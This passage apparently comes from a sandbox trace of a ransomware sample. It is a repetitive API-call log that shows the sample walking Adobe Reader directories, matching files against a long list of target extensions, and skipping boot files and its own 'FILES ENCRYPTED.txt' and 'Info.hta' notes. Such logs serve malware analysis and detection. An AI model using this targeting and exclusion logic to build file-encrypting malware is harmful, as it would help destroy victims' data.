lstrlenW (lpString=".backup") returned 7 [0268.892] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0268.892] lstrlenW (lpString=".bak") returned 4 [0268.892] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0268.892] lstrlenW (lpString=".bay") returned 4 [0268.894] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0268.894] lstrlenW (lpString=".bd") returned 3 [0268.894] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0268.894] lstrlenW (lpString=".bin") returned 4 [0268.894] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0268.895] lstrlenW (lpString=".bmp") returned 4 [0268.895] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0268.895] lstrlenW (lpString=".bz2") returned 4 [0268.895] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0268.895] lstrlenW (lpString=".c") returned 2 [0268.895] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0268.895] lstrlenW (lpString=".cdr") returned 4 [0268.895] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0268.895] lstrlenW (lpString=".cer") returned 4 [0268.895] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0268.895] lstrlenW (lpString=".cf") returned 3 [0268.895] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0268.895] lstrlenW (lpString=".cfc") returned 4 [0268.895] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0268.895] lstrlenW (lpString=".cfm") returned 4 [0268.895] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0268.895] lstrlenW (lpString=".cfml") returned 5 [0268.895] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0268.895] lstrlenW (lpString=".cfu") returned 4 [0268.895] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0268.896] lstrlenW (lpString=".chm") returned 4 [0268.896] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0268.896] lstrlenW (lpString=".cin") returned 4 [0268.896] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0268.896] lstrlenW (lpString=".class") returned 6 [0268.896] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0268.896] lstrlenW (lpString=".clx") returned 4 [0268.896] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0268.896] lstrlenW (lpString=".config") returned 7 [0268.896] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0268.896] lstrlenW (lpString=".cpp") returned 4 [0268.896] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0268.896] lstrlenW (lpString=".cr2") returned 4 [0268.896] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0268.896] lstrlenW (lpString=".crt") returned 4 [0268.896] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0268.896] lstrlenW (lpString=".crw") returned 4 [0268.896] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0268.896] lstrlenW (lpString=".cs") returned 3 [0268.897] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0268.897] lstrlenW (lpString=".css") returned 4 [0268.897] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0268.897] lstrlenW (lpString=".csv") returned 4 [0268.897] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0268.897] lstrlenW (lpString=".cub") returned 4 [0268.897] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0268.897] lstrlenW (lpString=".dae") returned 4 [0268.897] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0268.897] lstrlenW (lpString=".dat") returned 4 [0268.897] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0268.897] lstrlenW (lpString=".db") returned 3 [0268.897] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0268.897] lstrlenW (lpString=".dbf") returned 4 [0268.897] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0268.897] lstrlenW (lpString=".dbx") returned 4 [0268.897] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0268.897] lstrlenW (lpString=".dc3") returned 4 [0268.897] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0268.897] lstrlenW (lpString=".dcm") returned 4 [0268.897] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0268.897] lstrlenW (lpString=".dcr") returned 4 [0268.898] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0268.898] lstrlenW (lpString=".der") returned 4 [0268.898] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0268.898] lstrlenW (lpString=".dib") returned 4 [0268.898] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0268.898] lstrlenW (lpString=".dic") returned 4 [0268.898] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0268.898] lstrlenW (lpString=".dif") returned 4 [0268.898] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0268.898] lstrlenW (lpString=".divx") returned 5 [0268.898] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0268.898] lstrlenW (lpString=".djvu") returned 5 [0268.898] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0268.898] lstrlenW (lpString=".dng") returned 4 [0268.898] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0268.898] lstrlenW (lpString=".doc") returned 4 [0268.898] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0268.898] lstrlenW (lpString=".docm") returned 5 [0268.898] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0268.898] lstrlenW (lpString=".docx") returned 5 [0268.898] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0268.899] lstrlenW (lpString=".dot") returned 4 [0268.899] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0268.899] lstrlenW (lpString=".dotm") returned 5 [0268.899] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0268.899] lstrlenW (lpString=".dotx") returned 5 [0268.899] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0268.899] lstrlenW (lpString=".dpx") returned 4 [0268.899] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0268.899] lstrlenW (lpString=".dqy") returned 4 [0268.899] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0268.899] lstrlenW (lpString=".dsn") returned 4 [0268.899] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0268.899] lstrlenW (lpString=".dt") returned 3 [0268.899] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0268.899] lstrlenW (lpString=".dtd") returned 4 [0268.899] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0268.899] lstrlenW (lpString=".dwg") returned 4 [0268.899] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0268.899] lstrlenW (lpString=".dwt") returned 4 [0268.899] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0268.900] lstrlenW (lpString=".dx") returned 3 [0268.900] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0268.900] lstrlenW (lpString=".dxf") returned 4 [0268.900] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0268.900] lstrlenW (lpString=".edml") returned 5 [0268.900] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0268.900] lstrlenW (lpString=".efd") returned 4 [0268.900] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0268.900] lstrlenW (lpString=".elf") returned 4 [0268.900] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0268.900] lstrlenW (lpString=".emf") returned 4 [0268.900] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0268.900] lstrlenW (lpString=".emz") returned 4 [0268.900] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0268.900] lstrlenW (lpString=".epf") returned 4 [0268.900] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0268.900] lstrlenW (lpString=".eps") returned 4 [0268.900] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0268.900] lstrlenW (lpString=".epsf") returned 5 [0268.900] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0268.900] lstrlenW (lpString=".epsp") returned 5 [0268.901] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0268.901] lstrlenW (lpString=".erf") returned 4 [0268.901] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0268.901] lstrlenW (lpString=".exr") returned 4 [0268.901] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0268.901] lstrlenW (lpString=".f4v") returned 4 [0268.901] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0268.901] lstrlenW (lpString=".fido") returned 5 [0268.901] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0268.901] lstrlenW (lpString=".flm") returned 4 [0268.901] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0268.901] lstrlenW (lpString=".flv") returned 4 [0268.901] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0268.901] lstrlenW (lpString=".frm") returned 4 [0268.901] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0268.901] lstrlenW (lpString=".fxg") returned 4 [0268.901] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0268.901] lstrlenW (lpString=".geo") returned 4 [0268.902] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0268.902] lstrlenW (lpString=".gif") returned 4 [0268.902] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0268.902] lstrlenW (lpString=".grs") returned 4 [0268.902] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0268.902] lstrlenW (lpString=".gz") returned 3 [0268.902] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0268.902] lstrlenW (lpString=".h") returned 2 [0268.902] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0268.902] lstrlenW (lpString=".hdr") returned 4 [0268.902] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0268.902] lstrlenW (lpString=".hpp") returned 4 [0268.903] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0268.903] lstrlenW (lpString=".hta") returned 4 [0268.903] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0268.903] lstrlenW (lpString=".htc") returned 4 [0268.903] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0268.904] lstrlenW (lpString=".htm") returned 4 [0268.904] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0268.904] lstrlenW (lpString=".html") returned 5 [0268.904] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0268.904] lstrlenW (lpString=".icb") returned 4 [0268.904] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0268.904] lstrlenW (lpString=".ics") returned 4 [0268.904] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0268.904] lstrlenW (lpString=".iff") returned 4 [0268.904] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0268.904] lstrlenW (lpString=".inc") returned 4 [0268.904] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0268.904] lstrlenW (lpString=".indd") returned 5 [0268.904] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0268.904] lstrlenW (lpString=".ini") returned 4 [0268.904] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0268.904] lstrlenW (lpString=".iqy") returned 4 [0268.905] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0268.905] lstrlenW (lpString=".j2c") returned 4 [0268.905] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0268.905] lstrlenW (lpString=".j2k") returned 4 [0268.905] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0268.905] lstrlenW (lpString=".java") returned 5 [0268.905] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0268.905] lstrlenW (lpString=".jp2") returned 4 [0268.905] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0268.905] lstrlenW (lpString=".jpc") returned 4 [0268.905] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0268.905] lstrlenW (lpString=".jpe") returned 4 [0268.905] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0268.905] lstrlenW (lpString=".jpeg") returned 5 [0268.905] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0268.905] lstrlenW (lpString=".jpf") returned 4 [0268.905] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0268.905] lstrlenW (lpString=".jpg") returned 4 [0268.905] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0268.905] lstrlenW (lpString=".jpx") returned 4 [0268.905] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0268.905] lstrlenW (lpString=".js") returned 3 [0268.905] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0268.906] lstrlenW (lpString="ui-strings.js") returned 13 [0268.906] lstrlenW (lpString=".love$") returned 6 [0268.906] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0268.906] lstrlenW (lpString="ui-strings.js") returned 13 [0268.906] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0268.906] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0268.906] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0268.906] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0268.906] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0268.906] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0268.906] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0268.906] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0268.906] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js") returned 119 [0268.906] FindNextFileW (in: hFindFile=0x3315870, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0268.906] FindClose (in: hFindFile=0x3315870 | out: hFindFile=0x3315870) returned 1 [0268.907] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0268.907] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0268.907] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru") returned 106 [0268.907] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru") returned 1 [0268.907] lstrlenW (lpString="ru-ru") returned 5 [0268.907] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ru-ru") returned -1 [0268.907] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42b0fd0 [0268.907] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru") returned 106 [0268.907] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ru-ru\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0268.907] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.907] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2a8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0268.908] lstrlenW (lpString="ui-strings.js") returned 13 [0268.908] lstrlenW (lpString=".1cd") returned 4 [0268.908] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0268.908] lstrlenW (lpString=".3ds") returned 4 [0268.908] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0268.908] lstrlenW (lpString=".3fr") returned 4 [0268.908] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0268.908] lstrlenW (lpString=".3g2") returned 4 [0268.908] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0268.908] lstrlenW (lpString=".3gp") returned 4 [0268.908] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0268.908] lstrlenW (lpString=".7z") returned 3 [0268.908] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0268.908] lstrlenW (lpString=".accda") returned 6 [0268.908] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0268.908] lstrlenW (lpString=".accdb") returned 6 [0268.908] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0268.908] lstrlenW (lpString=".accdc") returned 6 [0268.908] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0268.908] lstrlenW (lpString=".accde") returned 6 [0268.908] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0268.908] lstrlenW (lpString=".accdt") returned 6 [0268.908] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0268.909] lstrlenW (lpString=".accdw") returned 6 [0268.909] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0268.909] lstrlenW (lpString=".adb") returned 4 [0268.909] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0268.909] lstrlenW (lpString=".adp") returned 4 [0268.909] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0268.909] lstrlenW (lpString=".ai") returned 3 [0268.909] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0268.909] lstrlenW (lpString=".ai3") returned 4 [0268.909] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0268.909] lstrlenW (lpString=".ai4") returned 4 [0268.909] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0268.909] lstrlenW (lpString=".ai5") returned 4 [0268.909] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0268.909] lstrlenW (lpString=".ai6") returned 4 [0268.909] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0268.909] lstrlenW (lpString=".ai7") returned 4 [0268.909] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0268.909] lstrlenW (lpString=".ai8") returned 4 [0268.909] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0268.909] lstrlenW (lpString=".anim") returned 5 [0268.909] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0268.909] lstrlenW (lpString=".arw") returned 4 [0268.909] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0268.909] lstrlenW (lpString=".as") returned 3 [0268.910] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0268.910] lstrlenW (lpString=".asa") returned 4 [0268.910] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0268.910] lstrlenW (lpString=".asc") returned 4 [0268.910] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0268.910] lstrlenW (lpString=".ascx") returned 5 [0268.910] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0268.910] lstrlenW (lpString=".asm") returned 4 [0268.910] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0268.910] lstrlenW (lpString=".asmx") returned 5 [0268.910] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0268.910] lstrlenW (lpString=".asp") returned 4 [0268.910] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0268.910] lstrlenW (lpString=".aspx") returned 5 [0268.910] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0268.910] lstrlenW (lpString=".asr") returned 4 [0268.910] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0268.910] lstrlenW (lpString=".asx") returned 4 [0268.910] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0268.910] lstrlenW (lpString=".avi") returned 4 [0268.910] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0268.911] lstrlenW (lpString=".avs") returned 4 [0268.911] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0268.911] lstrlenW (lpString=".backup") returned 7 [0268.911] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0268.911] lstrlenW (lpString=".bak") returned 4 [0268.911] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0268.911] lstrlenW (lpString=".bay") returned 4 [0268.911] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0268.911] lstrlenW (lpString=".bd") returned 3 [0268.911] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0268.911] lstrlenW (lpString=".bin") returned 4 [0268.911] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0268.911] lstrlenW (lpString=".bmp") returned 4 [0268.911] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0268.911] lstrlenW (lpString=".bz2") returned 4 [0268.911] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0268.911] lstrlenW (lpString=".c") returned 2 [0268.911] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0268.912] lstrlenW (lpString=".cdr") returned 4 [0268.912] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0268.912] lstrlenW (lpString=".cer") returned 4 [0268.912] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0268.912] lstrlenW (lpString=".cf") returned 3 [0268.912] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0268.912] lstrlenW (lpString=".cfc") returned 4 [0268.912] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0268.912] lstrlenW (lpString=".cfm") returned 4 [0268.912] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0268.912] lstrlenW (lpString=".cfml") returned 5 [0268.912] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0268.912] lstrlenW (lpString=".cfu") returned 4 [0268.912] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0268.912] lstrlenW (lpString=".chm") returned 4 [0268.912] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0268.912] lstrlenW (lpString=".cin") returned 4 [0268.913] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0268.913] lstrlenW (lpString=".class") returned 6 [0268.913] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0268.913] lstrlenW (lpString=".clx") returned 4 [0268.913] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0268.913] lstrlenW (lpString=".config") returned 7 [0268.914] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0268.915] lstrlenW (lpString=".cpp") returned 4 [0268.915] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0268.915] lstrlenW (lpString=".cr2") returned 4 [0268.915] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0268.915] lstrlenW (lpString=".crt") returned 4 [0268.915] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0268.915] lstrlenW (lpString=".crw") returned 4 [0268.915] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0268.915] lstrlenW (lpString=".cs") returned 3 [0268.915] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0268.915] lstrlenW (lpString=".css") returned 4 [0268.915] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0268.915] lstrlenW (lpString=".csv") returned 4 [0268.915] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0268.916] lstrlenW (lpString=".cub") returned 4 [0268.916] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0268.916] lstrlenW (lpString=".dae") returned 4 [0268.916] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0268.916] lstrlenW (lpString=".dat") returned 4 [0268.916] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0268.916] lstrlenW (lpString=".db") returned 3 [0268.916] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0268.916] lstrlenW (lpString=".dbf") returned 4 [0268.916] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0268.916] lstrlenW (lpString=".dbx") returned 4 [0268.916] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0268.916] lstrlenW (lpString=".dc3") returned 4 [0268.916] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0268.916] lstrlenW (lpString=".dcm") returned 4 [0268.916] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0268.916] lstrlenW (lpString=".dcr") returned 4 [0268.917] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0268.917] lstrlenW (lpString=".der") returned 4 [0268.917] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0268.917] lstrlenW (lpString=".dib") returned 4 [0268.917] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0268.917] lstrlenW (lpString=".dic") returned 4 [0268.917] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0268.917] lstrlenW (lpString=".dif") returned 4 [0268.917] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0268.917] lstrlenW (lpString=".divx") returned 5 [0268.917] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0268.917] lstrlenW (lpString=".djvu") returned 5 [0268.917] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0268.917] lstrlenW (lpString=".dng") returned 4 [0268.917] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0268.918] lstrlenW (lpString=".doc") returned 4 [0268.918] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0268.918] lstrlenW (lpString=".docm") returned 5 [0268.918] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0268.918] lstrlenW (lpString=".docx") returned 5 [0268.918] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0268.918] lstrlenW (lpString=".dot") returned 4 [0268.918] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0268.918] lstrlenW (lpString=".dotm") returned 5 [0268.918] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0268.918] lstrlenW (lpString=".dotx") returned 5 [0268.918] lstrcmpiW (lpString1=".dotx", 